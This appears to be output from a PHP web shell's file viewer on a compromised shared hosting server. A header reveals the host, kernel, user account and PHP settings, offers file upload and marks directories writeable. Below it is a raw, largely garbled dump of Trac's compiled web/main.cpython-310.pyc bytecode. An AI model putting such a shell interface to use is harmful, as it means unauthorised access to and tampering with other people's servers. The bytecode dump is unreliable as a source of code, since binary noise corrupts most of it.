https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/web/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/web/__pycache__/main.cpython-310.pyc
o

�k�`L��@s�ddlZddlZddlmZddlZddlZddlZddlZddlZddl	m
Z
m	Z	ddlZddlZddl
Z
ddlmZddlmZddlmZddlmZmZmZmZmZmZmZddlTdd	lmZdd
l m!Z!m"Z"ddl#m$Z$m%Z%ddl&m'Z'dd
l(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0ddl1m2Z2ddl3m4Z4m5Z5m6Z6m7Z7ddl8m9Z9m:Z:ddl;m<Z<m=Z=m>Z>m?Z?m@Z@mAZAddlBmCZCmDZDmEZEmFZFmGZGddlHmIZImJZJmKZKmLZLmMZMmNZNmOZOmPZPmQZQmRZRmSZSmTZTddlUmVZVmWZWmXZXmYZYmZZZddl[m\Z\ddl]m^Z^m_Z_dZ`Gdd�de^�ZaGdd�deb�ZcGdd�deQ�ZdGdd�dee�Zfe�gd �Zhd!d"�Zid#d$d%difd&d'�Zjd(d)�Zkd*d+�Zl		d3d,d-�Zmd.d/�Znd4d1d2�ZodS)5�N)�partial)�pformat�pprint)�urlparse)�FileSystemLoader)�__version__)�
BoolOption�ChoiceOption�
ConfigSection�ConfigurationError�ExtensionOption�Option�OrderedExtensionsOption)�*)�open_environment)�get_plugin_info�match_plugins_to_frames)�PermissionCache�PermissionError)�ResourceNotFound)�arity�get_frame_info�get_last_traceback�hex_entropy�lazy�	read_file�	safe_repr�translation)�
get_thread_id)�format_datetime�localtz�timezone�	user_time)�tag�valid_html_bytes)�exception_to_unicode�	jinja2env�shorten_line�
to_unicode�to_utf8�
unicode_quote)�_�get_negotiated_locale�	has_babel�safefmt�tag_)�HTTPBadRequest�
HTTPException�
HTTPForbidden�HTTPInternalServerError�HTTPNotFound�IAuthenticator�IRequestFilter�IRequestHandler�Request�RequestDone�TracNotImplementedError�is_valid_default_handler)�Chrome�ITemplateProvider�
add_notice�add_stylesheet�add_warning)�Href)�SessionDict�Sessionzhttps://trac.edgewall.orgc@seZdZddd�Zdd�ZdS)�FakeSessionFcC�dS�N�)�self�sid�
authenticatedrGrG�//usr/lib/python3/dist-packages/trac/web/main.py�get_sessionG�zFakeSession.get_sessioncCrErFrG�rHrGrGrK�saveJrMzFakeSession.saveN�F)�__name__�
__module__�__qualname__rLrOrGrGrGrKrDEs
rDc@s>eZdZdZd
dd�Z		ddd�ZeZ		ddd	�ZeZdS)
�FakePerm�	anonymousFcCs|SrFrG)rH�realm_or_resource�id�versionrGrGrK�__call__RrMzFakePerm.__call__NcCsdS)NFrG)rH�actionrVrWrXrGrGrK�has_permissionUszFakePerm.has_permissioncCs|durt|��t|d��)N��msg)r)rHrZrVrWrX�messagerGrGrK�require[s
zFakePerm.require)FF)NFF)NFFN)	rQrRrS�usernamerYr[�__contains__r_�assert_permissionrGrGrGrKrTNs

�
�rTcs"eZdZdZd�fdd�	Z�ZS)�RequestWithSessionzCA request that saves its associated session when sending the reply.��cs"|dkr	|j��t��|�dS)Ni�)�sessionrO�super�
send_response)rH�code��	__class__rGrKrghs
z RequestWithSession.send_response)rd)rQrRrS�__doc__rg�
__classcell__rGrGrirKrcesrcc@sHeZdZdZdZee�ee�Z	ee
�Zedde
dd�Zedde
dd	�Zedd
dd�Zedd
dd�Zedddd�Zedddd�Zedddd�Zedd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Ze d$d%��Z!d&d'�Z"d(d)�Z#d*d+�Z$d,d-�Z%d.d/�Z&d0d1�Z'd2d3�Z(d4d5�Z)e d6d7��Z*d8d9�Z+e d:d;��Z,d<d=�Z-d>d?�Z.d@dA�Z/dBS)C�RequestDispatcherz�Web request dispatcher.

    This component dispatches incoming requests to registered handlers.
    It also takes care of user authentication and request pre- and
    post-processing.
    T�trac�request_filtersz1Ordered list of filters to apply to all requests.)�doc�default_handler�
WikiModuleaXName of the component that handles requests to the base
        URL.

        Options include `TimelineModule`, `RoadmapModule`,
        `BrowserModule`, `QueryModule`, `ReportModule`, `TicketModule`
        and `WikiModule`.

        The [/prefs/userinterface session preference] for default handler
        take precedence, when set.
        �default_timezone�zThe default timezone to use�default_languagezJThe preferred language to use if no user preference has been set.
        �default_date_format)rt�iso8601z�The date format. Valid options are 'iso8601' for selecting
        ISO 8601 format, or leave it empty which means the default
        date format will be inferred from the browser's default
        language. (''since 1.0'')
        �
use_xsendfile�falsea*When true, send a `X-Sendfile` header and no content when sending
        files from the filesystem, so that the web server handles the content.
        This requires a web server that knows how to handle such a header,
        like Apache with `mod_xsendfile` or lighttpd. (''since 1.0'')
        �xsendfile_headerz
X-SendfileztThe header to use if `use_xsendfile` is enabled. If Nginx is used,
        set `X-Accel-Redirect`. (''since 1.0.6'')zhttp-headersa;
        Headers to be added to the HTTP request. (''since 1.2.3'')

        The header name must conform to
        [https://tools.ietf.org/html/rfc7230 RFC7230] and the following
        reserved names are not allowed: content-type, content-length,
        location, etag, pragma, cache-control, expires.
        cCs~|jD]9}z|�|�}Wn)ty5}z|j�d|jjt|dd��t|t	d��WYd}~dSd}~ww|r<|SqdS)NzCan't authenticate using %s: %sT��	tracebackz8Authentication error. Please contact your administrator.rU)
�authenticators�authenticate�	TracError�log�errorrjrQr%r@r+)rH�req�
authenticator�authname�erGrGrKr~�s"

����zRequestDispatcher.authenticatec
Cs�|j�d|�t|j�}�zd}|j��D]}|�|�r |}nq|s-|jdvr-|�|�}|j�d|�|�	||�}|sd|j�
d�r^t|j�d��}|j
rT|d|j
7}|j|j|dd�td	|j��t|j|d
�|jd<|jdkr�|�d
�}|r�t�|�\}}|dvr�|j�d�|jkr�|jjr�|jdkr�td�}ntd�}ttd|d���|�|�}	|	�r|j |g|	�R�\}
}}d|jvr�|j!�"d�t#j$t#�%�dddd��}
t&|
||d�|
�|
j'�(�}
Wd�n1s�wY|�)|
d�|j�d|
�|�*d|j+�|�d�}|�,||
||�}|�)||�pd�WdS|j�d �|� |�WdSt-�y3�t.�y�}z�t/�0�}z|� |�WnQt-�yO�t1�yj}z|j�2d!t3|��WYd}~n2d}~wt.�y�}z!t4|�t4|�u�r�|j|jk�s�|j�5d!t3|dd"��WYd}~nd}~wwt6|t7��r�t8|�|�t6|t9��r�t|�|�t6|t:��r�t;�<|d#�d$}|j�2d%|j=j>|d&|d'|d#t?|��p�d(�t@tA|��|�t6|t1��r�t@|�|�|�d}~ww))z�Find a registered handler that matches the request and let
        it process it.

        In addition, this method initializes the data dictionary
        passed to the the template and adds the web site chrome.
        zDispatching %rN)rt�/zChosen handler is %sr��?T)�	permanentz No handler matched request to %s)�handler�chrome�POST�Content-Type)z!application/x-www-form-urlencodedzmultipart/form-data�__FORM_TOKEN�httpz?Secure cookies are enabled, you must use https to submit forms.zDo you have cookies enabled?z&Missing or invalid form token. %(msg)sr\�hdfdump�
TRAC_ADMIN�utf-8�
)�encoding�newline�
write_through)�template�metadata�data�
text/plainz#Rendering response with template %s�iterable�content_type�	text/htmlzAEmpty or no response from handler. Entering post_process_request.z2Exception caught while post-processing request: %sr{����z%s caught from %s:%d in %s: %sr�z(no message))Br��debugr<�env�_request_handlers�values�
match_request�	path_info�_get_valid_default_handler�_pre_process_request�endswithr*�rstrip�query_string�redirect�hrefr4r�prepare_request�	callbacks�method�
get_header�cgi�parse_header�args�get�
form_token�secure_cookies�schemer+r0�process_request�_post_process_request�permr_�io�
TextIOWrapper�BytesIOr�buffer�getvalue�send�
setdefault�use_chunked_encoding�render_templater9�	Exception�sys�exc_infor�warningr%�typer��
isinstancerr2r�NotImplementedErrorr|�
extract_tbrjrQr(r3r:)rHr�r��chosen_handlerr��target�ctype�optionsr]�respr�r�r��outr��outputr��err�e2�tbrGrGrK�dispatch�s�

�
��


�
�
����
�� 
���

�
�
��zRequestDispatcher.dispatchcCsgSrFrGrNrGrGrK�get_htdocs_dirs2rMz!RequestDispatcher.get_htdocs_dirscCst�dd�gS)Nztrac.web�	templates)�
pkg_resources�resource_filenamerNrGrGrK�get_templates_dirs5sz$RequestDispatcher.get_templates_dirscCsD|j�|jt|j�j|j|j|j|j	|j
|j|j|j
|jd��dS)zASetup request callbacks for lazily-evaluated properties.
        )r�r�r��lc_time�localer�re�tzrxrz�configurable_headersN)r��updater~r<r�r��_get_form_token�_get_lc_time�_get_locale�	_get_perm�_get_session�
_get_timezone�_get_use_xsendfile�_get_xsendfile_header�_get_configurable_headers�rHr�rGrGrK�set_default_callbacks:s
�z'RequestDispatcher.set_default_callbackscCsdd�|jD�S)NcSsi|]}|jj|�qSrG)rjrQ)�.0r�rGrGrK�
<dictcomp>Ms�z7RequestDispatcher._request_handlers.<locals>.<dictcomp>)�handlersrNrGrGrKr�Ks�z#RequestDispatcher._request_handlersc
Csx|j�d�}|j�|�}|rt|�sd}|s:|j}t|�s:ttdt�|j	j
�t�d�tjtd�|j
�d�d�d���|S)Nrqz%(handler)s is not a valid default handler. Please update %(option)s through the %(page)s page or by directly editing trac.ini.z[trac] default_handlerzBasic Settingszgeneral/basics�r�)r��option�page)rer�r�r;rqrr/r#rhrjrQ�ar+r��admin)rHr��namer�rGrGrKr�Ps"

���z,RequestDispatcher._get_valid_default_handlercCs t|jt�r	t�St|j|j�SrF)r�rerDrTrr�r�r�rGrGrKr�eszRequestDispatcher._get_permc
Csjzt|j|�WSty4}z!d}t|t�r|j�||�n	|j�|t|��t	�WYd}~Sd}~ww)Nzcan't retrieve session: %s)
rCr�rr��TracValueErrorr�r�r�r%rD)rHr�r�r]rGrGrKr�ks
��zRequestDispatcher._get_sessioncCs@tr|j�d�}|j}t||g|j�}|j�d||�|SdS)N�languagezNegotiated locale: %s -> %s)r-rer�rur,�	languagesr�r�)rHr��	preferred�default�
negotiatedrGrGrKr�vs�
��zRequestDispatcher._get_localecCs4|j�d�}|r|dkrts|j}|dkrdS|jS)Nr�r�rw)rer�r-rvr�)rHr�r�rGrGrKr��szRequestDispatcher._get_lc_timecCs2z
t|j�d|jp
d��WStytYSw)Nr��missing)r!rer�rsr�r r�rGrGrKr��s��zRequestDispatcher._get_timezonecCsdd|jvr|jdjStd�|jd<}|jpd|jdd<|jjr)d|jdd<d|jdd<|S)a�Used to protect against CSRF.

        The 'form_token' is strong shared secret stored in a user
        cookie. By requiring that every POST form to contain this
        value we're able to protect against CSRF attacks. Since this
        value is only known by the user and not by an attacker.

        If the the user does not have a `trac_form_token` cookie a new
        one is generated.
        �trac_form_token�r��pathT�secure�httponly)�incookie�valuer�	outcookie�	base_pathr�r�)rHr�r�rGrGrKr��s
z!RequestDispatcher._get_form_tokencC�|jSrF)rxr�rGrGrKr���z$RequestDispatcher._get_use_xsendfilecCs6|j��}t�|�r|S|jsd|_|j�d|�dS)NTz([trac] xsendfile_header is invalid: '%s')rz�stripr8�is_valid_header�_warn_xsendfile_headerr�r�)rH�headerrGrGrK�_xsendfile_header�s

�z#RequestDispatcher._xsendfile_headercCrrF)rr�rGrGrKr��rz'RequestDispatcher._get_xsendfile_headercCspg}g}|j��D]\}}t�||�r|�||f�q	|�||f�q	|r4|j�dd�dd�|D���t|�S)Nz.[http-headers] invalid headers are ignored: %s�, cs��|]}d|VqdS)z%r: %rNrG)r��irGrGrK�	<genexpr>���z:RequestDispatcher._configurable_headers.<locals>.<genexpr>)	r�r�r8r�appendr�r��join�tuple)rH�headers�invalidsr��valrGrGrK�_configurable_headers�s�z'RequestDispatcher._configurable_headerscCs
t|j�SrF)�iterrr�rGrGrKr��s
z+RequestDispatcher._get_configurable_headerscCs|jD]}|�||�}q|SrF)�filters�pre_process_request)rHr�r��filter_rGrGrKr��s
z&RequestDispatcher._pre_process_requestcGs�i}|}t|�dkr|d}nt|�dkr||f7}nt|�dkr#d}t|j�D]}|j|g|�R�}t|�dkr>||f7}q(|S)N�r�r)NNN)�len�reversedr�post_process_request)rHr�r�r�r��frGrGrKr��s

�z'RequestDispatcher._post_process_requestN)0rQrRrSrk�required�
implementsr=�ExtensionPointr5r}r7r�rr6rrrqr
rsrur	rvrrxrzr
r�r~r�r�r�r�rr�r�r�r�r�r�r�r�r�rr�rr�r�r�rGrGrGrKrmnsl��
�����
q




rmz/+c
s�|�d�}|dur1|�d�}|s||d<nt�d|�}t�d|�}|�|�r1|dt|��|d<|�dt�d��|�dt�d	��|�d
t�d��|�dt�d
��|�dd�|�dt�d��t�	tj
|d�|�d�}|�s|�d�}|�d�}|s�|�r|�dd��d��d�}|�
d�}|s�t||||�gSd}|�dd�}	zt|	t�r�|	�d�}	t|	d�}	Wn
ty�d|	}Yn-wt|	�|�|d<dd�|�|d<|r�tj�||�}nt|��|�}|r�tj�|�s�d}|�r|�d�}|dddtt|��fg�|gS|�std��|d}
d}}z	t||
d�}Wnt�y8}
z|
}WYd}
~
nKd}
~
ww|j�rB|j|d<t|d��s|�d�}|�rpd d!�d"d#�|D��|�d$�|�d%��ped&f}|�d'|d(��|�d)�|_|j�r|d*|_ t!||��|�r�|j"j#�s��j"|_"t$�%�fd+d,�|�r�|jnd�g}z�z0|�r�t&|��t'|�}|�(��z|�)��Wnt*�y�}z	|j+}WYd}~nd}~wwWn2t,�y�}
z�j-�s�t.�||
�WYd}
~
n#d}
~
wt�y�j-�st/|�t0�1��Yn
w|�p�j2�pg}Wt$�3�|�r$|
�s$|�4t5��t6�7�}|St$�3�|�r:|
�s:|�4t5��t6�7�}|YS)-z�Main entry point for the Trac web interface.

    :param environ: the WSGI environment dict
    :param start_response: the WSGI callback for starting the response
    �
SCRIPT_URLN�	PATH_INFO�SCRIPT_NAMEr�z
trac.env_path�TRAC_ENV�trac.env_parent_dir�TRAC_ENV_PARENT_DIR�trac.env_index_template�TRAC_ENV_INDEX_TEMPLATE�trac.template_vars�TRAC_TEMPLATE_VARSztrac.localertz
trac.base_url�
TRAC_BASE_URL�trac.env_pathsrz
iso-8859-1r�zInvalid URL encoding (was %r)zEnvironment not foundz
404 Not Found)r�r�zContent-Lengthz�The environment options "TRAC_ENV" or "TRAC_ENV_PARENT_DIR" or the mod_python options "TracEnv" or "TracEnvParentDir" are missing. Trac requires one of these options to locate the Trac environment(s).�
wsgi.run_once��	use_cache�webfrontendzmod_wsgi.versionz0%s (WSGIProcessGroup %s WSGIApplicationGroup %s)�.css�|]}t|�VqdSrF)�str)r��xrGrGrKrKrz#dispatch_request.<locals>.<genexpr>zmod_wsgi.process_groupzmod_wsgi.application_groupz	%{GLOBAL}�mod_wsgi)�trac.web.frontend�trac.web.versionr8r9cs�jSrF)r�rG�r�rGrK�<lambda>Zsz"dispatch_request.<locals>.<lambda>)8r��_slashes_re�subr�rr��os�getenvr��	setlocale�LC_ALL�lstrip�split�pop�send_project_indexr�r5�encode�UnicodeDecodeErrorrArr��get_environments�isdir�EnvironmentErrorrr��base_url_for_redirect�base_url�hasattrr�r3�webfrontend_versionrc�abs_href�baser�make_activabler3rmr�r�r9r�r1�response_started�_send_user_error�send_internal_errorr�r��	_response�
deactivate�shutdownr�gc�collect)�environ�start_response�
script_urlr��env_path�env_parent_dir�	env_paths�env_name�errmsg�script_name�run_oncer��	env_errorr��mod_wsgi_versionr��
dispatcher�req_done�unreachablerGr:rK�dispatch_request�s
	


����




�

�
����

����

 
��������riz
error.htmlr���c	Cs�|rAt|d�ddd�}zt|��||||�}Wn:ty@d|d<zt|��||||�}Wnty=t�}d}YnwYnwd}d|�d	�|�d
�|�d�f}t|t�r]|�d�}z|�	||||�WdSt
yrYdSw)
Nzcommon/css/code.cssr�F)r�r�T�trac_error_renderingr�z
%s

%s: %s�titler�r^r�)r?r<r�r�rr�r�r5rF�
send_errorr9)	r�r�r�r��statusr�r�r��contentrGrGrK�_send_error�s>

�����

�

�rpc	Cs�|r|j�d|jt|�||j�d��|jd|jgdd�}|jdkr:|j	s:t
jtd�|j
��d�}t|td|d	��t|t��|j||d
�dS)Nz[%s] %s, %r, referrer %r�HTTP_REFERERr)rlr�r^�framesr|i�zdo sor�z?You are currently not logged in. You may want to %(do_so)s now.)�do_so�rnr�r�)r�r��remote_addrr%rZr�rlr^rh�is_authenticatedr#r�r+r��loginr>r/rpr�r�)r�r�r�r�rsrGrGrKrS�s
�
��rScs��r�j�d�j��j�d�t|ddd��t|d�}t��ggggf\}�}}d}zd�jv�Wnty>d�Ynwt	}i}	�r�t
|dt�s�t|d	�}�r�d
d�t
��D��t�|�dd��D�}|jd
d�d�|r�|dd}
|
�dd�}d|
vr�|
d}nt|�jt|�jkr�|}|
�dd��d��d�d}d|i}	t����}�����fdd�}
|
dd��}z|
t�}Wnty�|}Ynwdd|�|tt�||||	||d�}�r�t�����t�t��d�|d�dS) Nz-[%s] Internal Server Error: %r, referrer %r%srqr�Tr{zhttp://trac-hacks.orgr�Fr�cSs*g|]}tdd�|d��D��r|�qS)css*�|]}|d��D]}|dVq
qdS)�
components�enabledN)r�)r��m�crGrGrKr�s�
��z1send_internal_error.<locals>.<listcomp>.<genexpr>�modules)�anyr��r��prGrGrK�
<listcomp>�s

�
�z'send_internal_error.<locals>.<listcomp>cSsg|]}d|vr|�qS)�	frame_idxrGr~rGrGrKr��scSs|dS)Nr�rG)rrGrGrKr;�sz%send_internal_error.<locals>.<lambda>��keyr�info�	home_pagertrnr�r��	componentc
s��r6�r6d��fdd��jD��}|d7}d��fdd��D��}t����}d�dd�t|���D��}n�d�}�d�}�d	�}�d
�j�jt�j	�|||t
��d�S)Nrtc3s4�|]\}}d||r|�dd�n�d�fVqdS)�|| '''`%s`''' || `%s` ||
r�z
` [[br]] `�N/AN)�replace�r��k�v�r+rGrKr�s����z?send_internal_error.<locals>.get_description.<locals>.<genexpr>z{|| '''`jQuery`''' || `#JQUERY#` ||
|| '''`jQuery UI`''' || `#JQUERYUI#` ||
|| '''`jQuery Timepicker`''' || `#JQUERYTP#` ||
c3s,�|]}d|d|dp�d�fVqdS)r�r�rXr�NrGr~r�rGrKr�s���css0�|]\}}d|d�dd�|D��fVqdS)z|| **%s** || %s ||
rcsr
)z`%s`NrG)r�r rGrGrKr�rzIsend_internal_error.<locals>.get_description.<locals>.<genexpr>.<genexpr>N)rr�rGrGrKr�s���z%''System information not available''
z%''Plugin information not available''
z6''Interface customization information not available''
a�==== How to Reproduce

While doing a %(method)s operation on `%(path_info)s`, Trac issued an internal error.

''(please provide additional details here)''

Request parameters:
{{{
%(req_args)s
}}}

User agent: `#USER_AGENT#`

==== System Information
%(sys_info)s
==== Enabled Plugins
%(enabled_plugins)s
==== Interface Customization
%(interface_customization)s
==== Python Traceback
{{{
%(traceback)s}}})r�r��req_args�sys_info�enabled_plugins�interface_customizationr|)r�system_infor<�!get_interface_customization_files�sorted�itemsr�r�rr�r()r+r�r��files�interface_files�r��	has_admin�pluginsr�r|r�rK�get_description�s,��


�
�z,send_internal_error.<locals>.get_descriptionc[s
t||�SrF)r.)�s�kwrGrGrKr;s
zInternal Error�internal)rlr�r^r|rrr'�reprr��faulty_plugins�	interface�tracker�tracker_args�description�description_enrjrt)r�r�rurZr�r%rr�r��default_trackerr��MemoryErrorrrr�sortr�netlocr�rCr<r�r+r'r�
add_jquery_uirpr�r�)r�r�r�r^rrr��interface_custom�thr�r�r�r��plugin_namer�r�r�r�rGr�rKrT�sl��

�4��	rTcCs�t||�}t�dd�g}|j�d�r&|jd}tj�|�\}}|�d|�nd}t	t
|t�d�|d�}	|j�d�rO|jd�d	�D]
}
|
�d
�\}}||	|<qAt|j
�}
g}t|���D]9\}}zt||dd�}Wnty�}z
|t|�d
�}WYd}~nd}~ww||j|j|
|�d�}|�|�q\|jdd�d�||	d<tt|�d�}|j�tj�|�|�}t|jdi|	��� d��}|�!d�r�dnd}z	|�"||�WdSt#y�YdSw)Nrnr�r*rz
index.html)rX�time)rnr�r,�,�=r0r1)r�r�)r�r�r�r�cSs|d��S)Nr�)�lower)�projrGrGrKr;Hsz$send_project_index.<locals>.<lambda>r��projects)�loaderr�z.xmlztext/xmlr�rG)$r8r�r�rZr�r>r�rC�insert�TRAC_VERSIONr"rrArrHr�rr�r(�project_name�project_descriptionrr�r&r�globalsr�r�	functions�get_templater$�renderrFr�r�r9)rZr[�
parent_dirr_r��	loadpaths�env_index_template�	tmpl_pathr�r��pairr�rr�r�r`r]r�r�r��jenv�tmplr�r�rGrGrKrE$sZ

��


����
�rEcCsPtj�|d�}z
dd�t|���D�}Wnty dgYSwdd�|D�S)z~Return the list of patterns from env_parent_dir/.tracignore or
    a default pattern of `".*"` if the file doesn't exist.
    z.tracignorecSsg|]}|���qSrG)r�r��linerGrGrKr�]sz+get_tracignore_patterns.<locals>.<listcomp>z.*cSsg|]}|r|�d�s|�qS)�#)�
startswithr�rGrGrKr�`s)r>r�rr�
splitlines�IOError)r^r��linesrGrGrK�get_tracignore_patternsWs
�r�Fcs�|�dg�}|�d���r0tj����t�����fdd�t���D�}|��fdd�|D��i}|D]/}tj�|�}tj�|�sCq4tj�|�d}||vr_|r^t	d|||ft
jd	�q4|||<q4|S)
z�Retrieve canonical environment name to path mapping.

    The environments may not be all valid environments, but they are
    good candidates.
    r/r(cs<g|]�tj�tj�����rt�fdd��D��s��qS)c3s�|]	}t��|�VqdSrF)�fnmatch)r��pattern�r�rGrKrqs��z.get_environments.<locals>.<listcomp>.<genexpr>)r>r�rIrr})r��r^�ignore_patternsr�rKr�os��
�z$get_environments.<locals>.<listcomp>c3s�|]
}tj��|�VqdSrF)r>r�r)r��project)r^rGrKrss��z#get_environments.<locals>.<genexpr>r�zCWarning: Ignoring project "%s" since it conflicts with project "%s")�file)r�r>r��normpathr��listdir�extendrIrC�printr��stderr)rZ�warnr_�paths�envsr]r`rGr�rKrHcs2
�
���
rH)NNrP)pr�r��	functoolsrrXr�r�r>r�rr�rer�r|�urllib.parser�jinja2rrnrr��trac.configrr	r
rrr
r�	trac.core�trac.envr�trac.loaderrr�	trac.permrr�
trac.resourcer�	trac.utilrrrrrrrr�trac.util.concurrencyr�trac.util.datefmtrr r!r"�trac.util.htmlr#r$�trac.util.textr%r&r'r(r)r*�trac.util.translationr+r,r-r.r/�trac.web.apir0r1r2r3r4r5r6r7r8r9r:r;�trac.web.chromer<r=r>r?r@�
trac.web.hrefrA�trac.web.sessionrBrCr�rD�objectrTrc�	Componentrm�compiler<rirprSrTrEr�rHrGrGrGrK�<module>sf$( 8		
p%
� r
�3

https://t.me/RX1948 - 2025